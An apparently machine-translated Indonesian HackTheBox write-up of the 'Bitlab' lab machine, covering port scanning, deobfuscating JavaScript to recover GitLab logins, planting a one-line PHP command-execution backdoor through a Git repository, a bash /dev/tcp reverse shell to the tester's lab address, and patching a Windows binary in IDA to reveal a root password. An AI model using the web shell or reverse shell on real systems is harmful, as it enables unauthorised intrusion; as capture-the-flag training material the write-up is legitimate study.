Pada artikel ini, saya akan mulai menerbitkan solusi yang dikirim untuk
diproses lebih lanjut dari situs
HackTheBox . Saya berharap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Pada artikel ini, kita akan membahas sedikit kebingungan JavaScript, memuat backdoor melalui repositori Git, dan men-debug aplikasi-32.
Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)
Informasi OrganisasiTerutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:
- PWN;
- kriptografi (Crypto);
- teknologi jaringan (Jaringan);
- membalikkan (Reverse Engineering);
- steganografi (Stegano);
- pencarian dan eksploitasi kerentanan WEB.
Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.
Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat
saluran di Telegram dan
grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi
dan akan menjawab semua orang .
Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.
Kecerdasan
Pemindaian port
Mesin ini memiliki alamat IP 10.10.10.114, yang saya tambahkan ke / etc / hosts.
10.10.10.114 bitlab.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

Selanjutnya, Anda perlu mengumpulkan lebih banyak informasi tentang port yang kami tahu.
nmap -A bitlab.htb -p22,80

Sebagai berikut dari laporan nmap, SSH dan server web berjalan pada host. Dan di server web ada robots.txt. Setelah menelusuri direktori dari daftar ini, kami perhatikan bahwa gitlab berfungsi dan ada direktori bantuan yang tidak diindeks.

Pergi ke halaman penanda kami memiliki beberapa tautan.

Js
Semua menunjuk ke situs produk, kecuali yang terakhir, yang tidak mengandung alamat, tetapi kode JS.

Apa kode ini dikaburkan.
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
Untuk mendapatkan kode yang lebih mudah dibaca, Anda dapat menggunakan
situs berikut .

Setelah sedikit perbaikan kode, kami mendapatkan instruksi berikut.
document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x";
Git
Dengan data otentikasi ini kami diotorisasi di gitlab. Di sana kami menemukan dua profil.

Anda juga dapat menemukan satu proyek di mana ada koneksi ke database, dalam kode saya sajikan semua data untuk koneksi.

Memeriksa Profil kami menemukan tidak ada yang menarik.

Penyalur hanya memiliki kode php.

Dari kode ini, menjadi jelas bahwa jika kita menempatkan file di profil, itu akan digunakan untuk server.
Titik Masuk
Kita perlu menempatkan backdoor php. Misalnya, yang akan menerima dan menjalankan perintah.
<?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>
Untuk melakukan ini, buka Profil dan buat file baru.


Dan setelah menambahkan file kita akan muncul di repositori.

Sekarang kami sedang menguji backdoor.

Sekarang kita mendapatkan cangkang penuh.
bash -i >& /dev/tcp/10.10.15.150/4321 0>&1

Dan kami melihat koneksi terbalik ke tuan rumah kami.

PENGGUNA
Setelah di host, sangat penting untuk memverifikasi data yang dibeli sebelumnya. Ini adalah data untuk mengakses database.
Membuka interpreter PHP secara interaktif. Kami menggunakan kode yang ditemukan dan mencari melalui data yang ditemukan. Kata sandi pengguna di base64, decode.

Jadi kami mencari tahu kata sandi, yang tampaknya dapat terhubung melalui SSH. Tapi ini tidak berhasil, karena base64 adalah kata sandi)).

ROOT
Melihat sekeliling mobil, kami menemukan file exe di direktori home pengguna.

Kami menyalinnya ke host kami untuk analisis.
scp clave@10.10.10.114:~/RemoteConnection.exe .
Selanjutnya, buka file di IDA Pro. Menggulir melalui fungsi utama utama, Anda dapat menemukan perbandingan variabel dengan nama pengguna dan membuat proses dengan dempul - program untuk koneksi jaringan.

Kami dapat berasumsi bahwa koneksi terjadi dengan penyediaan data otentikasi, dan kami perlu menemukannya. Data koneksi akan diberikan dempul sebagai parameter, mis. variabel v3.
Anda dapat melihat baris selesai saat debugging, tetapi di IDA file 32-bit macet. Dengan men-debug langkah demi langkah, kami memahami bahwa ini terjadi setelah memanggil GetUserNameW. Kami melanjutkan sebagai berikut.
Masukkan BP pada fragmen perbandingan nama.

Sekarang kita menempatkan BP sebelum memuat parameter untuk fungsi GetUserNameW.

Jalankan program di debugger. Debugging akan berhenti sebelum memanggil fungsi yang kita butuhkan.

Sekarang tambal kode. Alih-alih memuat parameter dan memanggil fungsi, Anda harus meletakkan instruksi NOP. Saya menggunakan plugin Keypatch untuk ini.

Sekarang kodenya terlihat seperti ini.

Mari kita lanjutkan debugging program sehingga berhenti membandingkan nama. Pada titik ini, alamat string parameter sudah akan dimuat ke register EAX untuk transfer sebagai parameter ShellExecuteW.

Sekarang klik pada panah (lompat di pembongkaran) di sebelah register EAX. Ini akan memungkinkan Anda untuk pergi ke alamat dari EAX di jendela utama IDA.

Alamat ini berisi string parameter. Seperti yang Anda lihat, ini berisi teks yang benar secara simetris "-ssh root ...". Tetapi setiap karakter diwakili oleh 2 byte. Untuk mengumpulkan string dengan mudah, tekan Alt + A.

Dan di jendela ini, pilih Unicode C-Style (16 bit). Kemudian kami mengamati string yang dirakit dengan benar.

Baris ini berisi kata sandi root. Kami terhubung melalui ssh dan mengambil token.

Anda dapat bergabung dengan kami di
Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.